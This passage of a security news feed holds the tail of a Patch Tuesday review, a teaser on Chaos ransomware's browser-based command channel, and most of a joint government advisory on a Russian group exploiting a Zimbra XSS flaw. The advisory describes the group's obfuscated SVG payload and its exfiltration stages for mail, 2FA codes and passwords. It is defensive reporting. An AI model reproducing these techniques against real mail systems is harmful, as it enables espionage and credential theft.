  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos-Ransomware nutzt msaRAT: C2 läuft über Headless Chrome/Edge und WebRTC-Tunnel]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Beobachtung zur Chaos-Ransomware zeigt, dass das eigentliche Kommando-und-Kontroll-System nicht über typische Netzwerk-Endpoints läuft, sondern über den kompromittierten Browser des Opfers. Das Rust-basierte Implant msaRAT startet Chrome oder Edge im headless Modu...]]></description>
<link>https://tsecurity.de/de/3694458/it-security-nachrichten/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chromeedge-und-webrtc-tunnel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694458/it-security-nachrichten/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chromeedge-und-webrtc-tunnel/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-chaos-msarat-headless-webrtc-c2-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Beobachtung zur Chaos-Ransomware zeigt, dass das eigentliche Kommando-und-Kontroll-System nicht über typische Netzwerk-Endpoints läuft, sondern über den kompromittierten Browser des Opfers. Das Rust-basierte Implant msaRAT startet Chrome oder Edge im headless Modus und spricht darüber das Chrome DevTools Protocol an. Für den Datenkanal nutzt es WebRTC, wobei die Weiterleitung über […]</p>
<div><a href="https://www.it-boltwise.de/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chrome-edge-und-webrtc-tunnel.html">... den vollständigen Artikel <strong>»Chaos-Ransomware nutzt msaRAT: C2 läuft über Headless Chrome/Edge und WebRTC-Tunnel«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/chaos-ransomware-nutzt-msarat-c2-laeuft-ueber-headless-chrome-edge-und-webrtc-tunnel.html">Chaos-Ransomware nutzt msaRAT: C2 läuft über Headless Chrome/Edge und WebRTC-Tunnel</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
